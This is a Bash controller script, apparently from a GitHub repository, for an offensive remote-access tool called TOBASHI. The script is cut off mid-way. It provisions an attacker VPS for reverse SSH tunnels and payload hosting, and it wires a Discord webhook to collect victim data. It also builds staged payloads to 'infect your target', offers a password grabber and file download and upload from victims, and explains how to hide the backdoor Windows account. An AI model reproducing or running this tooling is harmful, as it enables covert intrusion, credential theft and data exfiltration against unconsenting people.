-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtobashi.sh
executable file
·1023 lines (727 loc) · 38.9 KB
/
tobashi.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
#Couleurs :
cyan="\e[36m"
gras="\e[1m"
red="\e[31m"
green="\e[32m"
reset="\e[0m"
main_menu(){
clear
echo "
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌
▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▀▀▀▀█░█▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▄▄▄▄█░█▄▄▄▄
▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌
▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀
"
echo -e "${red}"
echo "______________________________________________________By flamendO_______________________V.1"
echo -e "${reset}"
echo -e "${gras}"
vps_state=$(sed -n '2p' "./bin/state_machine.txt" | tr -d '\r')
discord_state=$(sed -n '1p' "./bin/state_machine.txt" | tr -d '\r')
color_state_vps="${red}"
alarm_state_vps="No"
color_state_discord="${red}"
alarm_state_discord="No"
if [ "$vps_state" = 1 ]; then
color_state_vps="${green}"
alarm_state_vps="Yes"
fi
if [ "$discord_state" = 1 ]; then
color_state_discord="${green}"
alarm_state_discord="Yes"
fi
echo " Welcome ! Please choose an option : "
echo -e " ---------------***--------------- ${cyan} [+] State : ${reset} ${gras}"
echo -e " [*] Discord Configuration : ${color_state_discord} ${alarm_state_discord} ${reset} ${gras}"
echo -e "[+] Commands : [*] VPS Configuration : ${color_state_vps} ${alarm_state_vps} ${reset} ${gras}"
echo " "
echo " [user]...............Choose a user"
echo " [console]........Start the console"
echo " [check]..Checking users connection"
echo " [discord].....Setting your discord"
echo " [vps]...............Setting-up VPS"
echo " [download]....Download from target"
echo " [upload]..........Upload to target"
echo " [grabber].........Password grabber"
echo " [killsession]..Kill target session"
echo " [reset]...........Restore settings"
echo " [quit]...........Leave the program"
echo " [help]........................Help"
echo " [uninstall]......Uninstall TOBASHI" # at the end mdr
echo -e "${reset}"
}
#### choose_user --------------------------------------------------
choose_user(){
clear
echo -e "${gras}"
echo "Welcome to your users repository, please choose a user version:"
echo ""
echo -e "${red}"
echo "[local].........List of your local users"
echo "[vps].............List of your VPS users"
echo ""
read -p "[+] Your user type ~: " user_type
echo "$user_type"
echo -e "${reset}"
if [ "$user_type" = "local" ]; then
echo "-----------------~~~-----------------"
echo -e "${cyan}${gras}"
files=(users/local/*)
for i in "${!files[@]}"; do
username=$(basename "${files[i]}" | cut -d'_' -f1)
echo "[$((i+1))] $username"
done
echo -e "${reset}"
read -p "[+] User~:$ " user
user_file="$user.txt"
# Vérifiez si le fichier existe avant de le lire
if [ -e "./users/local/$user_file" ]; then
# Récupération des données à partir du fichier
username=$(head -n 1 "./users/local/$user_file" | tr -d '\r')
ip=$(sed -n '2p' "./users/local/$user_file" | tr -d '\r')
password=$(sed -n '3p' "./users/local/$user_file" | tr -d '\r')
connection_type=$(tail -n 1 "./users/local/$user_file" | tr -d '\r')
echo "The connection is $connection_type . "
else
echo "The file $user_file does not exist."
fi
elif [ "$user_type" = "vps" ]; then
echo "-----------------~~~-----------------"
echo -e "${cyan}${gras}"
files=(users/vps/*)
for i in "${!files[@]}"; do
username=$(basename "${files[i]}" | cut -d'_' -f1)
echo "[$((i+1))] $username"
done
echo -e "${reset}"
read -p "[+] User~:$ " user
user_file="$user.txt"
# Vérifiez si le fichier existe avant de le lire
if [ -e "./users/vps/$user_file" ]; then
# Récupération des données à partir du fichier
username=$(head -n 1 "./users/vps/$user_file" | tr -d '\r')
ip=$(sed -n '2p' "./users/vps/$user_file" | tr -d '\r')
password=$(sed -n '3p' "./users/vps/$user_file" | tr -d '\r')
connection_type=$(tail -n 1 "./users/vps/$user_file" | tr -d '\r')
remote_port=$(tail -n 2 "./users/vps/$user_file" | head -n 1 | tr -d '\r')
ip_remote_vps=$(tail -n 3 "./users/vps/$user_file" | head -n 1 | tr -d '\r')
startup_file=$(tail -n 4 "./users/vps/$user_file" | head -n 1 | tr -d '\r')
temp_file=$(tail -n 5 "./users/vps/$user_file" | head -n 1 | tr -d '\r')
ip_vps=$(sed -n '1p' ./bin/login.txt)
username_vps=$(sed -n '2p' ./bin/login.txt)
password_vps=$(sed -n '3p' ./bin/login.txt)
# Sauvegarde de la valeur du port actuel
#current_port=$(sshpass -p "$password_vps" ssh -t "$username@$ip_remote_vps" "grep '^#Port' /etc/ssh/sshd_config | awk '{print \$2}'")
# Remplacement de la valeur du port par $remote_port dans le fichier sshd_config
#sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sed -i 's/^Port 2222$/Port $remote_port/' /etc/ssh/sshd_config"
#sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i '/#remote port/{n;s/.*/Port $remote_port/}' /etc/ssh/sshd_config"
else
echo "The file $user_file does not exist."
fi
else
echo "The folder does not exist ..."
fi
echo ""
echo ""
echo "USER SELECTED :"
echo ""
echo ""
echo "-------------------------------"
echo "| |"
echo " $user_file "
echo "| |"
echo "-------------------------------"
echo ""
echo ""
echo "Back to menu..."
read -p "Appuyer pour continuer..." dummy
}
#### choose_user --------------------------------------------------
#### console_menu --------------------------------------------------
console_menu(){
clear
echo -e "${gras}"
echo "IMPORTANT : in order to be invisible, you have to hide your new user folder:"
echo ""
echo "1. Go to the Powershell with [powershell]"
echo "2. Tape : attrib +h +s +r C:\Users\[name_of_user]"
echo ""
echo -e "${reset}"
echo "$connection_type"
if [ "$connection_type" = "local" ]; then
read -p "Tape Enter to go to the LOCAL console..." enter
ssh -t "$username@$ip" # le -t permet d'initier la connexion et de sortir que si on met exit
read -p "Tape Enter to exit the console..." dummy
elif [ "$connection_type" = "remote" ]; then
read -p "Tape Enter to go to the REMOTE console..." enter
# Connexion SSH avec le nouveau port
sshpass -p "$password" ssh -o StrictHostKeyChecking=no -tt "$username@$ip_remote_vps" -p "$remote_port"
# Restauration de la valeur du port initial après la connexion
#sshpass -p "$password_vps" sudo ssh -t "$username@$ip_remote_vps" "sudo sed -i 's/^Port .*/Port $current_port/' /etc/ssh/sshd_config"
read -p "Tape Enter to exit the console..." dummy
else
echo "No user choosed... Go to your user library !"
read -p "Tape Enter to exit the console..." dummy
fi
}
#### console_menu --------------------------------------------------
#### kill_menu-----------------------------------------------
kill_menu(){ #TODO : delete the Guest registry key
clear
echo -e "${gras}"
echo "[*] WARNING : DO YOU REALLY WANT TO KILL THE $user 's SESSION ? .....[y/n]"
read -p "Choice :~ " choice_kill
if [ "$choice_kill" = "y" ]; then
if [ "$connection_type" = "local" ]; then
registryPath="HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
valueName="$username"
sshpass -p "$password" ssh "$username@$ip" 'powershell -Command "Set-Service -Name sshd -StartupType 'Manual' " '
sshpass -p "$password" ssh "$username@$ip" "powershell -Command \"Remove-ItemProperty -Path '$registryPath' -Name '$valueName'\""
sshpass -p "$password" ssh "$username@$ip" "powershell -Command \"Remove-LocalUser -name '$valueName'\""
rm ./users/local/$user_file
elif [ "$connection_type" = "remote" ]; then
registryPath="HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
valueName="$username"
sshpass -p "$password" ssh "$username@$ip_remote_vps" -p "$remote_port" 'powershell -Command "Set-Service -Name sshd -StartupType 'Manual' " '
sshpass -p "$password" ssh "$username@$ip_remote_vps" -p "$remote_port" "powershell -Command \"Remove-ItemProperty -Path '$registryPath' -Name '$valueName'\""
sshpass -p "$password" ssh "$username@$ip_remote_vps" -p "$remote_port" "powershell -Command \"Remove-Item -path '$temp_file\key'\""
sshpass -p "$password" ssh "$username@$ip_remote_vps" -p "$remote_port" "powershell -Command \"Remove-Item -path '$startup_file'\""
sshpass -p "$password" ssh "$username@$ip_remote_vps" -p "$remote_port" "powershell -Command \"Remove-LocalUser -name '$valueName'\""
rm ./users/vps/$user_file
else
echo "No user choosed... Go to your user library !"
fi
elif [ "$choice_kill" = "n" ]; then
echo "[+] The session of $user is still active ! ..."
echo ""
else
echo "[+] Invalid option !....."
echo ""
fi
read -p "Press Enter to continue..." kill_1
}
#### kill_menu-----------------------------------------------
#### download_menu-------------------------------------------
download_menu(){
clear
echo -e "${gras}"
echo "Download Menu"
echo "---------------------"
echo -e "${cyan}${gras}"
echo ""
echo "---------------------"
echo "ATTENTION : On Windows, don't use \\ but / instead, for example : C:/Users/..."
echo ""
echo "---------------------"
# Utiliser la fonction read -r pour éviter l'interprétation des caractères d'échappement
read -r -p "Enter the remote file path: " remote_file_path
#read -p "Enter the local destination path: " local_destination_path
echo -e "${reset}"
if [ "$connection_type" = "local" ]; then
python3 src/download_file.py $remote_file_path $username $password $ip $user
elif [ "$connection_type" = "remote" ]; then
python3 src/download_file_vps.py $remote_file_path $username $password $ip_remote_vps $remote_port $user
else
echo "No user choosed... Go to your user library !"
fi
echo ""
read -p "Press Enter to continue..." dummy
}
#### download_menu-------------------------------------------
#### upload_menu-------------------------------------------
upload_menu(){
clear
echo -e "${gras}"
echo "Upload Menu"
echo "---------------------"
echo -e "${cyan}${gras}"
echo ""
echo "---------------------"
echo "ATTENTION : On Windows, don't use \\ but / instead, for example : C:/Users/..."
echo ""
echo "---------------------"
read -r -p "Enter the local file path: " local_file_path
read -r -p "Enter the remote file path: " remote_file_path
echo -e "${reset}"
if [ "$connection_type" = "local" ]; then
python3 src/upload_file.py $local_file_path $remote_file_path $username $password $ip
elif [ "$connection_type" = "remote" ]; then
python3 src/upload_file_vps.py $local_file_path $remote_file_path $username $password $ip_remote_vps $remote_port
else
echo "No user choosed... Go to your user library !"
fi
echo ""
read -p "Press Enter to continue..." dummy
}
#### upload_menu-------------------------------------------
### vps_menu--------------------------------------------
vps_menu(){
clear
echo "Welcome to VPS menu ! Please follow instructions : "
echo "---------------***---------------"
echo ""
read -p "[+] Please write your VPS IP adress : " ip_vps
read -p "[+] Please write your VPS username :" username_vps
read -p "[+] Please write your VPS password :" password_vps
sed -i "1s/.*/$ip_vps/" ./bin/login.txt
sed -i "2s/.*/$username_vps/" ./bin/login.txt
sed -i "3s/.*/$password_vps/" ./bin/login.txt
sed -i "s/set \"kdujhfguyU=X.X.X.X\"/set \"kdujhfguyU=$ip_vps\"/" ./src/initial_vps.cmd
sed -i "s/set \"EcSjRhAguo=X.X.X.X\"/set \"EcSjRhAguo=$ip_vps\"/" "./files/stage1_v.cmd"
sed -i "s/\$nkowFESgaO = \"username\"/\$nkowFESgaO = \"$username_vps\"/" "./files/stage2_v.ps1"
sed -i "s/\$ecPlmJVLRo = \"X.X.X.X\"/\$ecPlmJVLRo = \"$ip_vps\"/" "./files/stage2_v.ps1"
echo "" >> ./src/initial_vps.cmd
echo "" >> ./files/stage1_v.cmd
echo "" >> ./files/stage2_v.ps1
#sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "sudo apt install -y git openssh-server apache2"
repo_url="https://github.com/flamendO/TOBASHI-.git"
# INSTALLATION SUR LE VPS DES BONS FICHIERS
# Commande pour cloner le référentiel git dans /var/www/html/TOBASHI- si le dossier n'existe pas
sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "bash -c '[ -d /var/www/html/TOBASHI- ] || sudo git clone \"$repo_url\" /var/www/html/TOBASHI-'"
read -p "[+] Click Enter to continue............."
# Commande pour remplacer le fichier initial_vps.cmd dans TOBASHI-
sshpass -p "$password_vps" scp ./src/initial_vps.cmd "$username_vps@$ip_vps":/var/www/html/TOBASHI-/src/initial_vps.cmd
# Commande pour remplacer le fichier stage1_v.cmd dans TOBASHI-/files/
sshpass -p "$password_vps" scp ./files/stage1_v.cmd "$username_vps@$ip_vps":/var/www/html/TOBASHI-/files/stage1_v.cmd
# Commande pour remplacer le fichier stage2_v.ps1 dans TOBASHI-/files/
sshpass -p "$password_vps" scp ./files/stage2_v.ps1 "$username_vps@$ip_vps":/var/www/html/TOBASHI-/files/stage2_v.ps1
#Remplacer le fichier de ports_list
sshpass -p "$password_vps" scp ./bin/ports_list.txt "$username_vps@$ip_vps":/var/www/html/TOBASHI-/bin/ports_list.txt
sshpass -p "$password_vps" scp ./remove_port.sh "$username_vps@$ip_vps":/var/www/html/TOBASHI-/remove_port.sh
clear
echo -e "${gras} ${red}"
echo "[+] Modification of setting inside vps..."
# Commande pour modifier le fichier sshd_config
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i '/#AllowTcpForwarding/s/#//; /AllowTcpForwarding/s/no/yes/' /etc/ssh/sshd_config"
# Commande pour ajouter à la fin du fichier sshd_config si la ligne n'existe pas
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'sudo grep -qxF "GatewayPorts yes" /etc/ssh/sshd_config || echo "GatewayPorts yes" | sudo tee -a /etc/ssh/sshd_config'
# Commande pour remplacer 'GatewayPorts no' par 'GatewayPorts yes' si nécessaire
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'sudo sed -i "s/GatewayPorts no/GatewayPorts yes/" /etc/ssh/sshd_config'
echo "[+] sshd_config updated..."
echo -e "${reset}"
read -p "[+] Click Enter to continue............."
clear
echo "[+] Checking if SSH key exists..."
if [ ! -f ./key ]; then
echo "[+] SSH key does not exist, generating..."
sleep 2
ssh-keygen -f ./key -N ""
echo "[+] Key generated!"
else
echo "[+] SSH key already exists, skipping generation."
fi
echo ""
read -p "[+] Click Enter to continue............."
chmod 600 key
sshpass -p "$password_vps" ssh-copy-id -i key $username_vps@$ip_vps
clear
echo ""
echo "[+] Copying the key......"
sleep 2
sshpass -p "$password_vps" scp -r key $username_vps@$ip_vps:/var/www/html/TOBASHI-/
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'chmod +r /var/www/html/TOBASHI-/key'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sed -i 's|DocumentRoot /var/www/html|DocumentRoot /var/www/html/TOBASHI-|' /etc/apache2/sites-available/000-default.conf"
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'if grep -q "^Directory /var/www/html/$" /etc/apache2/sites-available/000-default.conf; then sed -i "s|^Directory /var/www/html$|<Directory /var/www/html/TOBASHI-/>\n</Directory>|g" /etc/apache2/sites-available/000-default.conf; else sed -i "/^<VirtualHost \*:80>/a <Directory /var/www/html/TOBASHI-/>\n</Directory>" /etc/apache2/sites-available/000-default.conf; fi'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'systemctl restart apache2'
# create config vps file
echo "$ip_vps" > ./vps_settings/vps_conf.txt
echo "$username_vps" >> ./vps_settings/vps_conf.txt
echo "$password_vps" >> ./vps_settings/vps_conf.txt
# copy the payload
cp ./src/initial_vps.cmd ./payloads_generated/initial_vps.cmd
# Commande pour remplacer le fichier initial_vps et initial_local.cmd dans TOBASHI-/payload_generated/
sshpass -p "$password_vps" scp ./payloads_generated/initial_vps.cmd "$username_vps@$ip_vps":/var/www/html/TOBASHI-/payloads_generated/initial_vps.cmd
sshpass -p "$password_vps" scp ./payloads_generated/initial_local.cmd "$username_vps@$ip_vps":/var/www/html/TOBASHI-/payloads_generated/initial_local.cmd
#sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "sudo sed -i '/^#Port 22$/s/^#Port 22$/Port 22/; /^Port 22$/a #remote port\n' /etc/ssh/sshd_config"
echo "[+] Copying payloads to VPS..."
sleep 2
echo "[+] Restarting VPS...."
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'reboot'
sed -i '2s/.*/1/' ./bin/state_machine.txt
echo "[+] Key set ! Please infect your target with payloads_generated/initial_vps.cmd "
read -p "[+] Click Enter to go back to the menu !............."
}
### vps_menu--------------------------------------------
### discord menu--------------------------------------------
discord_menu(){
clear
echo -e "${gras} ${cyan}"
echo "Welcome to the Discord Webhook menu ! "
echo ""
echo -e "${reset}"
echo -e "${gras}"
echo "-----------------~~~-----------------"
echo ""
echo "The purpose of this menu is to set your discord webhook in order"
echo "to receive remote informations on every users. To do so, just"
echo "enter the link of your discord Webhook :"
echo ""
echo -e "${cyan}"
read -p "[+] Please Paste your discord Webhook : " discord_webhook
sed -i "2s|.*|$discord_webhook|" ./discord_config/discord.txt
read -p "Click Enter when it's done......" dummy
echo -e "${reset}"
echo -e "${gras}"
echo "Setting payloads...."
sleep 1
python3 ./src/discord.py
echo "Discord server has been added..."
cp ./src/initial_local.cmd ./payloads_generated/initial_local.cmd
sed -i '1s/.*/1/' ./bin/state_machine.txt
echo ""
read -p "Click Enter to go back to the menu...." dummy
}
### discord menu--------------------------------------------
### reset menu--------------------------------------------
reset_menu(){
clear
echo -e "${gras}"
echo "[+] Welcome to the reset menu, Please choose what you want to reset :"
echo ""
echo "-------------------------------~*~-------------------------------"
echo ""
echo -e "${red}"
echo " [discord]...........Reset discord settings"
echo " [vps]...................Reset VPS settings"
echo " [all]..........Reset everything by default"
echo ""
echo -e "${reset}"
echo -e "${gras} ${cyan}"
read -p "Reset Option :~ " reset_option
echo -e "${reset}"
if [ "$reset_option" = "discord" ]; then
cp ./bin/discord_save.txt ./discord_config/discord.txt
cp ./bin/initial_local_save.cmd ./src/initial_local.cmd
cp ./bin/initial_vps_save.cmd ./src/initial_vps.cmd
cp ./bin/initial_local_save.cmd ./payloads_generated/initial_local.cmd
cp ./bin/initial_vps_save.cmd ./payloads_generated/initial_vps.cmd
clear
echo -e "${gras} ${red}"
sed -i '1s/.*/0/' ./bin/state_machine.txt
echo "[+] Options are reset !"
echo -e "${reset}"
sleep 2
elif [ "$reset_option" = "vps" ]; then
first_line=$(head -n 1 ./files/stage2_v.ps1)
if [[ $first_line != *"username"* ]]; then
ip_vps=$(head -n 1 "./vps_settings/vps_conf.txt" | tr -d '\r')
username_vps=$(sed -n '2p' "./vps_settings/vps_conf.txt" | tr -d '\r')
password_vps=$(sed -n '3p' "./vps_settings/vps_conf.txt" | tr -d '\r')
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'rm -R /var/www/html/TOBASHI-'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i 's/AllowTcpForwarding yes/#AllowTcpForwarding no/' /etc/ssh/sshd_config"
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'sudo sed -i "/GatewayPorts yes/d" /etc/ssh/sshd_config'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'service apache2 stop'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i '/<Directory \/var\/www\/html\/TOBASHI-\/>/,/<\/Directory>/d' /etc/apache2/sites-available/000-default.conf"
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i 's|DocumentRoot /var/www/html/TOBASHI-|DocumentRoot /var/www/html|' /etc/apache2/sites-available/000-default.conf"
cp ./bin/initial_vps_save.cmd ./src/initial_vps.cmd
cp ./bin/stage1_v_save.cmd ./files/stage1_v.cmd
cp ./bin/stage2_v_save.ps1 ./files/stage2_v.ps1
cp ./bin/ports_list_save.txt ./bin/ports_list.txt
rm ./key ./key.pub
rm ./vps_settings/vps_conf.txt
cp ./bin/initial_vps_save.cmd ./payloads_generated/initial_vps.cmd
sed -i '2s/.*/0/' ./bin/state_machine.txt
sed -i "1s/.*/ip_vps/" ./bin/login.txt
sed -i "2s/.*/username_vps/" ./bin/login.txt
sed -i "3s/.*/password_vps/" ./bin/login.txt
#sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i '/#remote port/{n;s/.*/ /}' /etc/ssh/sshd_config"
#sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "
#sudo sed -i '/^Port 22$/ {
#s/^Port 22$/#Port 22/
#:a
#n
#/^#remote port$/ {
# d
# b
#}
#ba
#}' /etc/ssh/sshd_config"
#sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "sed -i '/^#Port 22$/{n; d;}' /etc/ssh/sshd_config"
clear
echo -e "${gras} ${red}"
echo "[+] Options are reset !"
echo -e "${reset}"
sleep 2
else
echo -e "${gras} ${red}"
echo "[*] There is no VPS configuration to reset !...."
echo -e "${reset}"
echo ""
read -p "Click Enter to go back to the menu....." dummy
fi
elif [ "$reset_option" = "all" ]; then
first_line=$(head -n 1 ./files/stage2_v.ps1)
if [[ $first_line != *"username"* ]]; then
ip_vps=$(head -n 1 "./vps_settings/vps_conf.txt" | tr -d '\r')
username_vps=$(sed -n '2p' "./vps_settings/vps_conf.txt" | tr -d '\r')
password_vps=$(sed -n '3p' "./vps_settings/vps_conf.txt" | tr -d '\r')
cp ./bin/discord_save.txt ./discord_config/discord.txt
cp ./bin/initial_local_save.cmd ./src/initial_local.cmd
cp ./bin/initial_vps_save.cmd ./src/initial_vps.cmd
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'rm -R /var/www/html/TOBASHI-'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i 's/AllowTcpForwarding yes/#AllowTcpForwarding no/' /etc/ssh/sshd_config"
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'sudo sed -i "/GatewayPorts yes/d" /etc/ssh/sshd_config'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" 'service apache2 stop'
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i '/<Directory \/var\/www\/html\/TOBASHI-\/>/,/<\/Directory>/d' /etc/apache2/sites-available/000-default.conf"
sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i 's|DocumentRoot /var/www/html/TOBASHI-|DocumentRoot /var/www/html|' /etc/apache2/sites-available/000-default.conf"
cp ./bin/initial_vps_save.cmd ./src/initial_vps.cmd
cp ./bin/stage1_v_save.cmd ./files/stage1_v.cmd
cp ./bin/stage2_v_save.ps1 ./files/stage2_v.ps1
cp ./bin/ports_list_save.txt ./bin/ports_list.txt
rm ./key ./key.pub
rm ./vps_settings/vps_conf.txt
cp ./bin/initial_local_save.cmd ./payloads_generated/initial_local.cmd
cp ./bin/initial_vps_save.cmd ./payloads_generated/initial_vps.cmd
clear
echo -e "${gras} ${red}"
sed -i '1s/.*/0/' ./bin/state_machine.txt
sed -i '2s/.*/0/' ./bin/state_machine.txt
sed -i "1s/.*/ip_vps/" ./bin/login.txt
sed -i "2s/.*/username_vps/" ./bin/login.txt
sed -i "3s/.*/password_vps/" ./bin/login.txt
#sshpass -p "$password_vps" ssh "$username_vps@$ip_vps" "sudo sed -i '/#remote port/{n;s/.*/ /}' /etc/ssh/sshd_config"
#sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "
#sudo sed -i '/^Port 22$/ {
#s/^Port 22$/#Port 22/
#:a
#n
#/^#remote port$/ {
# d
# b
#}
#ba
#}' /etc/ssh/sshd_config"
#sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "sed -i '/^#Port 22$/{n; d;}' /etc/ssh/sshd_config"
#sshpass -p "$password_vps" ssh -o StrictHostKeyChecking=no "$username_vps@$ip_vps" "sudo sed -i '/#remote port/d' /etc/ssh/sshd_config"
echo "[+] Options are reset !"
echo -e "${reset}"
sleep 2
else
echo -e "${gras} ${red}"
echo "[*] There is no VPS configuration to reset !...."
echo -e "${reset}"
echo ""
read -p "Click Enter to go back to the menu....." dummy
fi
else
echo -e "${gras} ${red}"
echo "[*] Option invalid !...."
echo -e "${reset}"
echo ""
read -p "Click Enter to go back to the menu....." dummy
fi
}
### reset menu--------------------------------------------
### Help Menu--------------------------------------------
help_menu(){
clear
echo -e "${gras}"
echo "
